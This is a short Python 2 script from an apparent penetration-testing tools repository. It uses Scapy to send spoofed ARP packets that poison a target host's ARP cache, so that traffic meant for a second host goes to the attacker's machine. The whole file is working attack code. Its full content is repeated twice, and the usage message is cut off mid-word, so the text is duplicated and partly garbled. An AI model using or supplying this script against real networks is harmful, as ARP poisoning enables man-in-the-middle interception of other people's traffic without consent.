<reponame>imsouza/pentest-tools<filename>spoofing/arp-poisoning.py
from scapy.all import *
import sys

def get_mac_address():
  my_macs = [get_if_hwaddr(i) for i in get_if_list()]
  for mac in my_macs:
    if(mac != "00:00:00:00:00:00"):
      return mac

Timeout = 2

if len(sys.argv) != 3:
  print "\n[*] Usage: arp_poison.py HOST_TO_ATTACK HO"
  sys.exit(1)

my_mac = get_mac_address()
if not my_mac:
  print "\n[!] Can't Get Local Mac Address"
  print '[!] Exiting...'
  sys.exit(1)

packet = Ether()/ARP(op="who-has", hwsrc=my_mac, psrc=sys.argv[2], pdst=sys.argv[1])
sendp(packet)


from scapy.all import *
import sys

def get_mac_address():
  my_macs = [get_if_hwaddr(i) for i in get_if_list()]
  for mac in my_macs:
    if(mac != "00:00:00:00:00:00"):
      return mac

Timeout = 2

if len(sys.argv) != 3:
  print "\n[*] Usage: arp_poison.py HOST_TO_ATTACK HO"
  sys.exit(1)

my_mac = get_mac_address()
if not my_mac:
  print "\n[!] Can't Get Local Mac Address"
  print '[!] Exiting...'
  sys.exit(1)

packet = Ether()/ARP(op="who-has", hwsrc=my_mac, psrc=sys.argv[2], pdst=sys.argv[1])
sendp(packet)